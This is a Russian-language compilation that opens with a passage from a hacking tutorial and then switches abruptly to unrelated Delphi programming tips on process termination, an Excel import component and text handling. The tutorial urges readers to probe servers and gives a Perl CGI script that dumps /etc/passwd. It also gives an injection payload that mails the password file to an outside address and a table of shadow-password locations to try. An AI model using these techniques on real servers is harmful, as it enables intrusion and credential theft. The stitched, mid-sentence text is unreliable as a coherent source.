ругаться "Скрипт Еррор такой-то". Ну что делать, - глючная вещь Нетскэеп. А скрипты - это такие программы, которые расширяют возможности языка HTML. Ведь HTML позволяет только управлять форматированием текста - там отбивочки, тут курсивчик, вверху заголовок с картинкой. Вот на этом возможности HTML и исчерпываются. Чаты, скажем, уже требуют сложных операций, и не могут обойтись без Java или подобных языков. Это скрипты и есть. Но для хака они не годятся. Почему? Да потому что исполняются на локальной машине, то есть вашем домашнем компьютере. А сервер только посылает и принимает от них данные. Печально. Но есть другая категория скриптов - тех, что исполняются на удаленном компьютере, то есть сервере, а вам отсылают (или не отсылают) результат своей работы. Они имеют непосредственный доступ к системе, и если администратор не ограничит вас в правах, то скрип может даже отформатировать жесткий диск сервера или подпустить вируса или трояна. Ну, на худой конец, просто полазить и шпионить по всем директориям (это, кстати, часто и не запрещается). Итак, что бы ломать нужно всего лишь иметь право выполнять программы на удаленном компьютере. На жаргоне это обзывается "иметь доступ к директории CGI-BIN". Тогда вы можете закинуть туда любую программу, и ее исполнить. Хоть обычный exe файл типа BackOrifice2000. Правда, за одним небольшим исключением. Исполняемый файл должен соответствовать модели компьютера и операционной системе, которая установлена на сервере. Другими словами, если это Pentium Pro и Windows NT, то можно смело кидать всех Энтевых троянов и вирей - и они успешно сработают. Правда, вот такую конфигурацию найти можно не так уж часто. Гораздо вероятнее встретить DEC Alpha и UNIX. Это несколько хуже... Но существует ли способ, одинаково хорошо приглядный для всех систем? Разумеется да. Для любого Юникса подойдет программа, написанная на Си. Правда ее не "берет" NT. Зато Perl (есть такой язык) одинаково хорошо воспринимается, как UNIX, так и NT. Если, правда, установлен его интерпретатор. Но, обычно он все же установлен. Выходит, Перловым скриптом мы смогли просмотреть всех юзеров? Ведь расширение-то у файла было PL! Действительно, это Перл. И если мы найдем в себе труд хотя бы поверхностно изучить этот замечательный язык, то потом наши хакерские возможности неограниченно расширятся! За дело, начнем изучать Перл! Однако, для начала придется немного огорчить читателя. Что бы исполнять Перловый скрипт - это же надо еще права иметь! А большинство бомажатников с халявными страничками таких прав не имеют. Правда, все солидные и платные серверы такой доступ непременно дают. И многие просто в обмен на баненную рекламу (например, http://www.agava.ru/ Но, у какого хакера найдется лишняя деньга? Выходит, что все загвоздка в том, что бы найти удобный и хороший сервер. А главное бесплатный! К счастью такие сервера есть! Пусть немного, но нам хватит.. для начла, а потом, потом мы научимся получать доступ и к тем, кто такие права зажимает. Кстати, многие www сервера имеют незакрытый доступ к cgi-bin и если хорошо поискать, то их можно найти! Правда, если тамошний админ не совсем лох, то такую дырку он быстро прикроет, стоит только сунуться! Но, об этом потом, а пока смотрите список серверов, где такой доступ дается за просто так! СЕРВЕРА, ДАЮЩИЕ СТРАНИЧКИ И ПРАВО ИСПОЛНЯТЬ CGI. Вообще-то традиционно за право выполнить CGI, нужно платить, да еще и зарегистрироваться так, что бы в случае чего администратор мог вас найти и надавать по ушам. Ведь имея такой доступ к системе можно сделать очень и очень много плохого. Кому это понравится? Но, тем не менее, в Интернет найти можно все! И даже таких администраторов, которые расщедриваются на такой доступ, да еще и предоставляют его на халяву! Что бы их найти, можно набить в любом поисковике "CGI+Free+Perl" или побродить по страничкам, сборникам ссылок на хяляву. Словом, если вас не устроит ни один пункт из списка, приведенного ниже, то всегда можно найти что-то и самим. Сервер Комментарий VirtualAve Дает под страничку 20 mb. Вместе с этим доступ к cgi-bin, и разрешает выполнять Perl-скрипты. Имеет древний sendmail, который так же интересно поковырять (или просто отправлять почту в свое удовольствие) Предоставляет домен третьего уровня, то есть вы получите что-то вроде http://yourname.virtualave.net/. Разрешает закачку по FTP, однако имя сервера для этого выглядит иначе (например, ftp://server26.virtual.ave). Внимательно читайте инструкцию. Имхо пока лучший из всей категории. Реклама - выпрыгивающий баннер.Однако, мучительно долго регистрирует вас в системе. Необходимо ждать целые сутки, прежде чем вам откроют аккаунт. К тому же скорость не самая лучшая из возможных, но для скриптов сойдет. Hypermart Дает под страничку 10 мегабайт (для скриптов это очень много), разумеется, дает право исполнения Perl скриптов и почтовой рассылки. Очень надоедает своими баннерами, зато это один из старейших сервисов и его скоро не прикроют. В дополнение к этому дает возможность создавать собственную нью-конференцию, ну и домен третьего уровня типа "http://yourname.hypermart.net/". Впрочем, домен регистрируется в течении нескольких часов, но доступ типа "http://server26.hypermart.net/kpnc" появляется тут же. Так же доступен по FTP, но очень неплохо защищен, и начинать с него не советую, хотя в остальных отношениях - рульный сервак. Правда есть одно, но - что бы получить доступ, нужно ввести код подтверждения, высылаемый вам на е-майл. Вот тут вся и загвоздка - все бесплатные е-майлы отметаются сервером, как саксь и маст дай. В том числе и часть платных российских тоже, например ZMAIL.RU и TELEMEDNET.RU. Поэтому придется извращаться и где-то искать платный ящик или иметь договоренность с его автором, на изыску писем. Webjump. Обещает 25 мегабайт и доступ к CGI-BIN, но очень часто его (доступ) вырубает на случайное время, да и Perl какой-то кривой стоит, часто проблемы с исполнением скриптов. Очень - очень - очень увешан баннерами, но зато дает домен третьего уровня и самое главное, содержит офигенное число дыр, которые сразу не заткнут (не успеют) - поэтому тренироваться начинающим хакерам на нем самое то! ProHosting Довольно неплохой сервер, без баннеров [теперь уже с баннерами], быстрый и приятный. Регистрирует ваш домен в течении четырех часов. Но никаких дополнительных сервисов тут нет. JustFree
Дает доступ к cgi-bin и Шеллу (подробнее об этом позже). Очень тормозит, но это один из очень немногих серверов, дающий халявный Шелл, так что придется с этим примириться.
ЗАЛИВАЕМ НАШ ПЕРВЫЙ СКРИПТ! Итак, будем считать, что на сервере вы себе аккаунт поимели по полной программе. Это не такая сложная операция, что бы на ней останавливаться. Достаточно лишь заполнить форму, в которой нас будут придирчиво расспрашивать о наших занятиях и доходах, - если что введем не правильно, и нас пошлют, так можно попробовать еще раз! А если какие проблемы и возникнут, то вот сходите - почитайте, http://sesna.kharkiv.org/freeall/page/old.shtml - тогда многие стразу станет ясно. Теперь остается только залить на наш новый аккаунт свой первый скрипт и полюбоваться результатами его работы. Заливать, конечно, будем по FTP. Для этого нам потребуется FTP-клиент, поддерживающий закачку. Например, всем известный FAR. Запустим его и в панели дисков выберем "FTP" Теперь нажмем <Shift-F4> и в появившемся окне диалога введем наш логин, пароль и хост (то есть имя сервера). Обращаю внимание, что имя хоста по FTP может не совпадать с WWW, - читайте об этом подробнее в инструкции на сервере! Вот и все. Дважды долбанем по Enter и дождемся пока оно соединиться. Если при этом, вас отошлют, то что-то сделано неправильно, а может, аккаунт еще не был зарегистрирован. Подождите и попробуйте снова! После того, как вы соединитесь с сервером, заливать файлы будет можно, как в обычном Norton Commander, только естественно, намного медленнее. Но в какую директорию закачивать скрипты? Конечно же, в /CGI-BIN, если только она есть! Но ее может и не быть! Это не повод нервничать и волноваться. Значит, скрипты могут выполняться в другой директории. Так у "HyperMart" это корневая директория Вашего аккаунта, а на "Virualave" это /public_html. Но прежде чем что-то закачивать, это "что-то" надо создать. А для этого нужно знать Perl. Впрочем, можно по началу поучиться на чужих скриптах. Например, ниже приведен текст скрипта, о котором рассказывалось в начале статьи. Кажется, стоит только набрать его в обычном текстовом редакторе и... И при попытке исполнить скрипт, вы получите полный облом, если сервер работает под управлением UNIX. Дело в том, что ей не нравится досовскоей завершение строки Нужен редактор, который работает с учетом особенностей UNIX. Например, знаменитый DOS NAVIGATOR (http://www.ritlabls.com/) В меню "Опции" редактора необходимо выбрать "Тип Текста" - "ЮНИКС" и вот теперь можно вводить Перловый скрипт, который будет благополучно "проглочен" UNIX. Но это еще не все! После того, как скрипт залит на сервер, ему необходимо установить атрибуты исполняемого, иначе он исполнятся не захочет. Для этого опять воспользуется уже успевшим нам полюбиться FAR-ом. Встаньте на только что закаченный файл и нажмите <Ctrl-A>. Установите атрибуты <X> от eXecutable - то есть исполняемый и нажмите Enter. Но, возможно, этого делать и не придется, если директория, куда вы собрались копировать скрипт, уже имеет такие атрибуты (тогда они наследуются, то есть передаются по умолчанию, всем расположенным в этой директории файлам). Просмотреть их можно точно так же, переместив на нее курсор и нажав <Ctrl-A> Все! Теперь пришло время испытать сей агрегат в действии. Наберите в строке браузера путь к скрипту,: стоп, а откуда мы его знаем? Как он должен выглядеть? Сложно сказать однозначно. Все зависит от конкретных настоек сервера. Поэтому ничего, кроме как сходить и почитать об этом в faq, заботливо расположенном на сервере не останется. Впрочем, вам на е-майл так же должна прийти инструкция с подробными разъяснениями. Итак, набираем сие в браузере, например, http://kpnc.hypermart.net/hello.pl для "Hypermart" и любуемся файлом etc/password этого сервера, Любуется настолько, что я даже рискнул привести всю таблицу целиком DISPLAY ETC/PASSWORD FILE... LOGIN NAME PATH root System Administrator /root toor System Administrator /root daemon System Daemon / sys Operating System /tmp bin BSDI Software /usr/bsdi operator System Operator /usr/opr uucp UNIX-to-UNIX Copy /var/spool/uucppublic games Games Pseudo-user /usr/games news USENET News,,, /var/news/etc demo Demo User /usr/demo mail Sendmail /var/spool/mail brian Brian Atkins,,, /export/home/brian alias ,,, /var/qmail/alias qmaild ,,, /var/qmail qmaill ,,, /var/qmail qmailp ,,, /var/qmail qmailq ,,, /var/qmail qmailr ,,, /var/qmail qmails ,,, /var/qmail ftp FTP Daemon,,, /var/spool/ftp proftp FTP Daemon,,, /var/spool/ftp www Publish Account,,, /usr/home/www nobody Unprivileged user /nonexistent nonroot Non-root root user for NFS /nonexistent hmvbin 65536-66559 reserved for hmv
/nonexistent
КАРАУЛ! ТУТ НЕТ НИ ОДНОГО ЮЗЕРА! (ну, кроме demo). Верно, а что вы хотели? Сказано же было, что сервер старый, вылизанный, дыры все убраны, и пользователи за просто так не отображаются. Впрочем, в дальнейшем мы все же на него попадем, но это будет не сейчас... Сейчас же мы попробуем какой-нибудь другой сервер, что настроен по отношению к юным хакерам не так агрессивно. НЕМНОГО ХИТРОСТЕЙ И УЛОВОК Хитрость 1 Результат работы скрипта не виден под Несткапе. Ну, так написан скрипт. Пользуйтесь мылом моему сердцу Экслорером! А НетСкапе такая глючная вешь!! Хитрость 2 Все это, конечно, очень круто, но ведь очень часто случается так, что доступа к скриптам нам никто не дает. А файл-то (известно какой) утянуть хочется! Можно ли это сделать? Иногда да, только нужно поискать дырки в существующих скриптах. А очень часто бывает так, что они есть, только не заметны с первого взгляда. Вот пусть, например, на сервере где-то есть какой-то скритп (сейчас не важно какой и где), но который запрашивает у пользователя имя файла, которое надлежит открыть. (очень часто бывает в различных web-почтовых ящиках, да и в других случаях то же). Тогда можно ввести что-то вроде "|mail VasyaPupukin@mail.com </etc/passwd", разумеется без кавычек, как мы имеем неплохие шансы получить этот файл на "дом", что называется с доставкой. Далеко не все разработчики скриптов учитывают такую ситуацию. Поэтому, однозначно, дыры в системах безопасности есть и они вокруг нас! Надо только хорошо поискать и не боятся экспериментировать!! Хитрость 3 Обратите внимание на следующие строки скрипта ($login, $pass, $uid, $gid, $name, $home_dir, $shell) = split(':'); print "<tr> print "<td> print "$login"; print "<td> print "$name"; print "<td> print "$home_dir"l То есть пароль считывается из файла, но не выводится?! Истинно так. Если хотите его увидеть, то добавьте еще одну строчку в скрипт. Догадайтесь как она должна выглядеть - уверяю, вас это не оставит равнодушными! Приложение 1 Скрипт hack.pl. #!/usr/local/bin/perl print "Content-type: text/html\n\n"; print "<BODY TEXT=#342E27 BGCOLOR=#D4D3C7 BACKGROUND=http://dore.on.ru/kpnc/images/BACK1.JPG>"; print "&lg;IMG SRC= http://dore.on.ru/kpnc/images/PH.JPG><BR>"; print "Пожалуйста, посетитие сайт <A href=http://kpnc.id.ru>PRO HACK</a><BR>"; print "DISPLAY ETC/PASSWD FILE... \n"; print "<TABLE widht=100% border=2>"; print "<tr>"; print "<TH bgcolor=#FFFF00> LOGIN"; print "<TH bgcolor=#FFFF00> NAME"; print "<TH bgcolor=#FFFF00> DIR"; open(PASS, "</etc/passwd") || die; while() { ($login, $pass, $uid, $gid, $name, $home_dir, $shell) = split(':'); print ""; print ""; print "$login"; print ""; print "$name"; print ""; print "$home_dir"; } print "</table>"; close(PASS); ПРИЛОЖЕНИЕ 2 Где хранятся пароли? Если админ не совсем лох, то в etc/passwd паролей не будет. Там можно обнаружить только "крестики". А сами пароли где? А пароли совсем в другом месте, и обычно это место от рядового юзера скрыто. То есть доступ отрублен. Но иногда случается так, что это сделать забыли! Так скажи те же, то золотое место! Увы, оно не одно и зависит от настоек администратора и выбранной системы. Ниже в таблице приводятся конфигурации по умолчанию. Попытайтесь, - быть может вам повезет (таблица взята из alt2600 faq) Система Путь AIX 3 /etc/security/passwd/tcb/auth/files/&lg;first letter username>/<username> A/UX 3.0s /tcb/files/auth/?/* BSD4.3-Reno /etc/master.passwd ConvexOS 10 /etc/shadpw ConvexOS 11 /etc/shadow DG/UX /etc/tcb/aa/user/ EP/IX /etc/shadow HP-UX /.secure/etc/passwd IRIX 5 /etc/shadow Linux 1.1 /etc/shadow OSF/1 /etc/passwd[.dir|.pag] SCO Unix #.2.x /tcb/auth/files/<first letter username>/<username> SunOS4.1+c2 /etc/security/passwd.adjunct SunOS 5.0 /etc/shadow System V Release 4.0 /etc/shadow System V Release 4.2 /etc/security/ databaseUltrix 4 /etc/auth[.dir|.pag] UNICOS
/etc/udb
Как ей пользоваться? Очень просто - заменить путь в следующей сточке скрипта на новый. open(PASS, "</etc/passwd") || die;

Завершение всех работающих приложений.

Как мне завершить все работающие задачи?

Ниже приведен код, который поможет вам завершить ВСЕ задачи без всяких уведомлений о необходимости сохранения данных.

Поэтому, прежде чем запустить этот код, убедитесь в наличии сохраненных данных и в том, что пользователь осведомлен об этой операции.

procedure TForm1.ButtonKillAllClick(Sender: TObject);
var
  pTask: PTaskEntry;
  Task: Bool;
  ThisTask: THANDLE;
begin
  GetMem(pTask, SizeOf(TTaskEntry));
  pTask^.dwSize := SizeOf(TTaskEntry);
  Task := TaskFirst(pTask);
  while Task do
  begin
    if pTask^.hInst = hInstance then
      ThisTask := pTask^.hTask
    else
      TerminateApp(pTask^.hTask, NO_UAE_BOX);
    Task := TaskNext(pTask);
  end;
  TerminateApp(ThisTask, NO_UAE_BOX);
end;

Как завершить любой процесс, в том числе и системный.

Женщина спрашивает совета у доктора: - Доктор,мой 17-летний сын так увлекся компьютером,что даже спит возле него.Как его отучить? - Очень просто! Вино, водка, сигареты, женщины ...
 // Включение, приминение и отключения привилегии.
 // Для примера возьмем привилегию отладки приложений 'SeDebugPrivilege'
 // необходимую для завершения ЛЮБЫХ процессов в системе (завершение процесов
 // созданных текущим пользователем привилегия не нужна.
 
function ProcessTerminate(dwPID:Cardinal):Boolean;
var
 hToken:THandle;
 SeDebugNameValue:Int64;
 tkp:TOKEN_PRIVILEGES;
 ReturnLength:Cardinal;
 hProcess:THandle;
begin
 Result:=false;
 // Добавляем привилегию SeDebugPrivilege 
 // Для начала получаем токен нашего процесса
 if not OpenProcessToken( GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES
  or TOKEN_QUERY, hToken ) then
    exit;
 // Получаем LUID привилегии
 if not LookupPrivilegeValue( nil, 'SeDebugPrivilege', SeDebugNameValue ) 
  then begin
   CloseHandle(hToken);
   exit; 
  end;
 tkp.PrivilegeCount:= 1;
 tkp.Privileges[0].Luid := SeDebugNameValue;
 tkp.Privileges[0].Attributes := SE_PRIVILEGE_ENABLED;
 // Добавляем привилегию к нашему процессу
 AdjustTokenPrivileges(hToken,false,tkp,SizeOf(tkp),tkp,ReturnLength);
 if GetLastError()< > ERROR_SUCCESS  then exit;
 // Завершаем процесс. Если у нас есть SeDebugPrivilege, то мы можем
 // завершить и системный процесс
 // Получаем дескриптор процесса для его завершения
 hProcess := OpenProcess(PROCESS_TERMINATE, FALSE, dwPID);
 if hProcess =0  then exit;
  // Завершаем процесс
   if not TerminateProcess(hProcess, DWORD(-1))
    then exit;
 CloseHandle( hProcess );
 
 // Удаляем привилегию 
 tkp.Privileges[0].Attributes := 0; 
 AdjustTokenPrivileges(hToken, FALSE, tkp, SizeOf(tkp), tkp, ReturnLength);
 if GetLastError() < >  ERROR_SUCCESS
  then exit;
 
 Result:=true; 
end;
 
 // Название добавление/удаление привилгии немного неправильные.  Привилегия или 
 // есть в токене процесса или ее нет. Если привилегия есть, то она может быть в 
 // двух состояниях - или включеная или отключеная. И в этом примере мы только 
 // включаем или выключаем необходимую привилегию, а не добавляем ее.

Завершить чужое приложение.

Приложение запущено. Сильно запущено...
PostMessage(FindWindow(nil, 'Заголовок окна'), WM_QUIT, 0, 0);

Тестер электронных дикторов.

Автор: Бочаров Николай Викторович WEB-сайт: http://www.native-speech.by.ru

Предлагаю Вашему вниманию код программы "".

Как осуществить минимальный тест на корректность глобального идентификатора (GUID), и интерфейсов, унаследованных от IDispatch.

Автор: Nomadic Как осуществить минимальный тест на корректность глобального идентификатора (GUID), и интерфейсов, унаследованных от IDispatch (и, следовательно, поддерживающих методы автоматизации)?

Вызовите CreateRemoteComObject, передав GUID интерфейса и имя компьютера, к которому Вы пытаетесь подключиться. Если функция вернет ошибку, то наличествует проблема сервера, иначе возможная проблема относится к клиенту.

const
  MyGUID = '{444...111}'; //Whatever the guid is...
var
  Unk: IUnknown;
  Disp: IDispatch;
begin
  { Make sure this line works correctly }
  Unk := CreateRemoteComObject('server1',
    StringToGUID(MyGUID));
  { If it does, then cast it to a IDispatch }
  Disp := Unk as IDispatch;
end;

Если этот кусок кода работает, а проблема остается, то Вам требуется шаг за шагом пройти через код клиента и найти, где он дает трещину. Если не сможете этого обнаружить, Вам придется запустить сервер под отладчиком и установить связь с клиентом, чтобы Вы могли произвести отладку рядом со местом, дающем слабину.

TExcelManager.

Автор: Писарев Юрий Компонент предназначен для работы с таблицами Excel. Он позволяет находить любые таблицы в любом месте документа Excel и импортировать их в таблицы компонента TTable. Можно также экспортировать таблицы из TTable в документы Excel. Существует две версии компонента - для Microsoft Office 2000 и для Microsoft Office XP. Принцип работы

Компонент ищет таблицу по ячейкам ее верхнего ряда (шапка таблицы). Существует структура типа TTableInfo, которая описывает критерии поиска:

TFilterOption = (foCaseInsensitive, foSoftFiltration);
THeadLine = record
  Cells: array of string;
  FilterOptions: array of TFilterOption;
end;
TBorderOption = (boRight, boBottom);
TBorderOptions = set of TBorderOption;
TTableInfo = record
  HeadLine: THeadLine;
  Rect: TRect;
  BorderOptions: TBorderOptions;
  TableIndex, BottomIndex: Integer;
end;

Описание шапки таблицы находится в элементе TTableInfo.HeadLine, где TTableInfo.HeadLine.Cells это строковый массив верхнего ряда ячеек, а TTableInfo.HeadLine.FilterOptions это массив, который соответствует каждой ячейки массива TTableInfo.HeadLine.Cells и определяет способ сравнения элементов массива TTableInfo.HeadLine.Cells с ячейками таблицы Excel. TTableInfo.HeadLine.FilterOptions может быть двух типов:

foCaseInsensitive - означает, что соответствующий элемент массива Cells должен в точности совпадать с ячейкой в документе Excel. Регистр не учитывается. foSoftFiltration - означает, что каждая ячейка из документа Excel может содержать в себе соответствующий элемент массива Cells. Регистр не учитывается. Если массив TTableInfo.HeadLine.FilterOptions пустой, то для сравнения используется свойство DefaultFilter компонента ExcelManager. Задавать этот массив не обязательно, а в большинстве случает вообще не нужно. Тем не менее он позволяет определять достаточно гибкие критерии поиска. Элемент TTableInfo.Rect обозначает координаты и размеры таблицы по отношению к шапке таблицы: Left - обозначает смещение влево относительно левой верхней ячейки таблицы (шапки таблицы). Right - обозначает количество колонок таблицы. Top - обозначает смещение вниз относительно левой верхней ячейки таблицы (шапки таблицы). Bottom - обозначает количество рядов таблицы. Задавать ширину (Rect.Right) и высоту (Rect.Bottom) таблицы не обязательно, так как компонент сам может определять размеры таблицы. Для автоопределения ширины таблицы, элемент TTableInfo.BorderOptions должен содержать boRight и, соответственно, для автоопределения высоты таблицы TTableInfo.BorderOptions должен содержать boBottom. Определение границы осуществляется путем нахождение первой пустой ячейки. Просмотр таблицы в документе Excel происходит сверху вниз, слева направо. Для изменения способа обнаружения нижней границы таблицы используется еще один элемент: TTableInfo.BottomIndex. Он определяет колонку, которая должна содержать пустую ячейку. Например, если TTableInfo.BorderOptions включает в себя boBottom и TTableInfo.BottomIndex равен 0, то определение высоты таблицы будет находиться по первой пустой ячейке колонки 0, на рисунке это колонка "A":

Статьи по Delphi (017)…

В таком случае высота таблицы будет равна 7, то есть будет содержать в себе 7 рядов. Если же TTableInfo.BorderOptions включает boBottom и TTableInfo.BottomIndex равен 1, то определение высоты таблицы будет находиться по первой пустой ячейке колонки 1, на рисунке это колонка "B" и высота таблицы будет равна 5, то есть будет содержать в себе 5 рядов. Так как в документе Excel может быть найдена более чем одна таблица, удовлетворяющая условиям структуры TTableInfo, то существует элемент: TTableInfo.TableIndex. Он указывающий на индекс нужной таблицы. Чаще всего документ Excel содержит в себе только одну искомую таблицу, поэтому целесообразно задавать значение TTableInfo.TableIndex равным 0.

Для импорта таблицы используется функция:

function ImportTable(Table: TTable; TableInfo: TTableInfo): Boolean; virtual;

В ней указывается таблица Table, которая будет заполнена соответствующими данными и информация о таблице, которую необходимо найти. Если все прошло успешно, то функция возвращает истину. Прежде чем импортировать таблицу, нужно открыть документ Excel. Это делается с помощью процедуры:

procedure Open(const FileName: string); virtual;

Параметр FileName содержит путь к файлу Excel. Соответственно, после открытия файла его нужно закрыть. Делается это с помощью процедуры:

procedure Close(SaveChanges: Boolean); virtual;

Параметр SaveChanges определяет, нужно ли сохранять изменения.

Процесс экспотра таблицы намного проще процесса импорта. Для задания условий экспортирования используется структура:

TExportTableInfo = record
  Cell1, Cell2: string;
  Rect: TRect;
end;
Элементы TExportTableInfo.Cell1 и TExportTableInfo.Cell2 задают координаты левой верхней ячейки экспортируемой таблицы в формате Excel. То есть, например, если необходимо экспортировать таблицу в самое начало документа Excel, то задаем значение TExportTableInfo.Cell1 равным "A", значение TExportTableInfo.Cell2 равным "1", в таком случае левая верхняя ячейка таблицы разместиться в документе Excel по адресу "A1". Элемент TExportTableInfo.Rect определяет смещение экспортируемой таблицы относительно координат TExportTableInfo.Cell1 и TExportTableInfo.Cell2. Используются только элементы Left и Top структуры TExportTableInfo.Rect. На первый взгляд это кажется бессмысленным. Действительно, зачем нужно смещение, если и так можно задать любую координату элементами TExportTableInfo.Cell1 и TExportTableInfo.Cell2? Все дело в том, что в Excel специфическая система координат. Для пользователя она весьма удобна, а для программиста это небольшая проблема. Горизонтальная координата - это система исчисления, состоящая из английского алфавита. То есть, двадцатишестиричная система исчисления. Но беда в том, что в этой системе исчисления нет нуля. То есть если использовать двадцатишестиричную систему исчисления по правилам, то A это 0, B это 1, C это 2 и так далее. Но в любом документе присутствуют такие координаты, как AA, AB, AC и так далее. По всем правилам они должны выглядеть, как A, B, C и так далее, так как первым числом ноль (A) никогда не ставится. Но это все философия. Вернусь к тому, от чего я ушел. Если нужно задать координату, скажем 100:200, то не нужно пересчитывать горизонтальную координату в формат Excel, достаточно установить, скажем, TExportTableInfo.Cell1 в "A", TExportTableInfo.Cell2 в "1", TExportTableInfo.Rect.Left в 100 и TExportTableInfo.Rect.Top в 200.

Для экспорта используется функция.

function ExportTable(Table: TTable; ExportTableInfo: TExportTableInfo; 
  const Info: string): Boolean; virtual;
В параметре Table задается экспортируемая таблица. Параметр ExportTableInfo определяет условия экспорта. Функция возвращает истину, если все прошло успешно. Перед экспортом нужно открыть файл документа Excel, а после экспорта - закрыть, точно также, как для процесса импорта. Демонстрационная программа позволяет импортировать таблицы Excel в таблицы компонента TTable. Принцип работы программы таков, что сначала задается верхняя директория. Затем производится поиск по всех ее поддиректориях и просматриваются все файлы Excel. Если они содержат информацию, то она из них извлекается и записывается в файл формата Paradox в отдельную директорию. На основе импортированных данных строится отчет, содержащий в себе информацию по всем найденным таблицам. Этот отчет можно просмотреть и распечатать. Вместе с программой поставляется файл Excel, в котором содержится искомая информация. Заключение

Как уже было сказано, есть два типа компонента - для работы с Microsoft Office 2000 и Microsoft Office XP. Для использования компонента необходим компонент TExcelApplication, находящийся на странице Servers. На него должна быть установлена ссылка - TExcelManager.ExcelApplication. Компонент TExcelApplication должен соответствовать выбранной версии Microsoft Office. Компоненты будут работать в Delphi 6.0 и Delphi 7.0. Но, насколько я знаю, в Delphi 6.0 нет встроенной поддержки Microsoft Office XP. Для компонента поставляются две программы тестирования для Microsoft Office 2000 и для Microsoft Office XP. Программа для тестирования компонента под Microsoft Office XP написана в Delphi 7.0, программа для тестирования компонента под Microsoft Office 2000 написана в Delphi 6.0.

ExcelManager для Microsoft Office XP Программа для Microsoft Office XP ExcelManager для Microsoft Office 2000 Программа для Microsoft Office 2000

Присвоить текст файла переменной.

Оформил: DeeCo Автор: http://www.swissdelphicenter.ch

function GetTextFromFile(AFile: string; var Returnstring: string): Boolean;
 var
   FileStream: TFileStream;
 begin
   Result := False;
   if not FileExists(AFile) then Exit;
   FileStream := TFileStream.Create(AFile, fmOpenRead);
   try
     if FileStream.Size <> 0 then
     begin
       SetLength(Returnstring, FileStream.Size);
       FileStream.Read(Returnstring[1], FileStream.Size);
       Result := True;
     end;
   finally
     FileStream.Free;
   end;
 end;
 procedure TForm1.Button1Click(Sender: TObject);
 var
   s: string;
 begin
   if GetTextFromFile('c:\autoexec.bat', s) then
   begin
     ShowMessage(s);
     // Label1.caption := s; or assign the text to a Label 
    // Memo1.text := s;     or a memo 
  end;
 end;

Функция, возвращающая текст между двумя определёнными строками.

Procedure IsolateText( Const S: String; Tag1, Tag2: String; list:TStrings );
  Var
    pScan, pEnd, pTag1, pTag2: PChar;
    foundText: String;
    searchtext: String;
  Begin
    { Set up pointers we need for the search. HTML is not case sensitive, so
      we need to perform the search on a uppercased copy of S.}
    searchtext := Uppercase(S);
    Tag1:= Uppercase( Tag1 );
    Tag2:= Uppercase( Tag2 );
    pTag1:= PChar(Tag1);
    pTag2:= PChar(Tag2);
    pScan:= PChar(searchtext);
    Repeat
      { Search for next occurence of Tag1. }
      pScan:= StrPos( pScan, pTag1 );
      If pScan <> Nil Then Begin
        { Found one, hop over it, then search from that position
          forward for the next occurence of Tag2. }
        Inc(pScan, Length( Tag1 ));
        pEnd := StrPos( pScan, pTag2 );
        If pEnd <> Nil Then Begin
          { Found start and end tag, isolate text between,
            add it to the list. We need to get the text from
            the original S, however, since we want the un-uppercased
            version! So we calculate the address pScan would hold if
            the search had been performed on S instead of searchtext. }
          SetString( foundText, 
                     Pchar(S) + (pScan- PChar(searchtext) ),
                     pEnd - pScan );
          list.Add( foundText );
          { Continue next search after the found end tag. }
          pScan := pEnd + Length(tag2);
        End { If }
        Else { Error, no end tag found for start tag, abort. }
          pScan := Nil;
      End; { If }
    Until pScan = Nil;
  End;

Как текст на кнопке расположить под заданным углом.

Как выдать текст под наклоном? Чтобы вывести под любым углом текст необходимо использовать TrueType Fonts (например «Arial»). Например:

var
  LogFont: TLogFont;
begin
  GetObject(Canvas.Font.Handle, SizeOf(TLogFont), @LogFont);
  {Вывести текст 1/10 градуса против часовой стрелки}
  LogFont.lfEscapement := Angle * 10;
  Canvas.Font.Handle := CreateFontIndirect(LogFont);
end;

Компоненты ввода и отображения текстовой информации.

Автор: Павел

Перечень компонентов ввода и отображения текстовой информации:

Компонент Страница Описание
Label Standard Отображение текста, который не изменяется пользователем во время работы)
StaticText (метка с бордюром) Additional В дополнение к Label обеспечивает возможность задания стиля бордюра.
Panel Standard Является контейнером для группирования элементов управления, но может использоваться и для отображения текстовой информации.
Edit Standard Отображение, ввод и редактирование однострочных текстов
MaskEdit (окно маскированного редактирования) Additional Используется для форматирования данных или для ввода символов в соответствии с шаблоном
Memo Standard Отображение ввод и редактирование многострочных текстов
RichEdit (многострочное окно редактирования в формате rtf) Win32 Окно редактирования в обогащенном формате rtf, позволяющее производитьвыбор шрифтов, поиск текста и др.
ListBox (окно списка) Standard Отображение стандартного окна списка Windows, позволяющее пользователю выбирать из него пункты (Items)
CheckListBox (список с индикаторами) Additional Комбинация свойств списка ListBox и CheckBox
ComboBox (редактируемый список) Standard Объединяет функции ListBox и Edit. Пользователь может либо ввести текст, либо выбрать его из списка (items)
StringGrid (таблица) Additional Отображение текстовой информации в таблице из строк и столбцов с возможностью перемещаться по ячейкам и осуществлять выбор (Cells)
Помимо перечисленных компонентов отображать текстовые надписи можно непосредственно на свойстве Canvas (холст) любого компонента, имеющего это свойство (в частности , непосредственно на форме. Например:
Canvas.TextOut(60,16,'Canvas');
Тексты, отображаемые в компонентах Label, StaticText, Panel определяются их свойством Caption. Его можно задавать в процессе проектирования или изменять программно:
Label1.Caption:='Новый текст';
Если требуется отобразить числовую информацию, можно воспользоваться функциями FloatToStr и IntToStr:
Label1.Caption:='Число сотрудников: '+ IntToStr(I);
Размещение всех рассматриваемых компонентов на форме определяется свойствами Top,Left, Height, Witch, Align - общими для всех оконных компонентов. Эти свойства определяют координаты компонента, его размеры и их изменение при изменении пользователем родительского компонента При изменении пользователем размеров окна приложения надо перерисовывать компоненты, изображающие текст, иначе выравнивание текста может нарушаться. Чтобы этого не было, надо в обработку события формы onResize вставить операторы, перерисовывающие компоненты методом Repaint:
StaticText1.Repaint;
